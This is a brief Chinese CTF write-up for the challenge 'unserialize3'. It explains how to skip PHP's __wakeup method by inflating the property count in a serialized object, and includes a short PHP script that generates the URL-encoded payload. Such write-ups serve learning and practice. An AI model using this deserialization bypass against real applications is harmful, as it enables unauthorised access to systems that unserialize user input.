unserialize3

发布时间 2023-07-03 22:12:45作者: 陈艺秋

看着这个源码长度,就觉着比较简单

本题就一个__wakeup方法需要绕过,但是不对哦没有提示也不知道该参数得多少呀

本来都要复制进编译器写了,发现源码闭合有点问题,可能是做了隐藏

解题步骤

实在找不到了,就尝试了一下flag=111直接利用code传参

class xctf{
    public $flag = '111';
    }

$a = serialize(new xctf);
$a = str_replace("1:","3:",$a);

echo urlencode($a);
?>

字符串替换是因为,要绕过__wakeup方法

当序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup的执行

它真的就这么简单,只是考察一个绕过__wakeup方式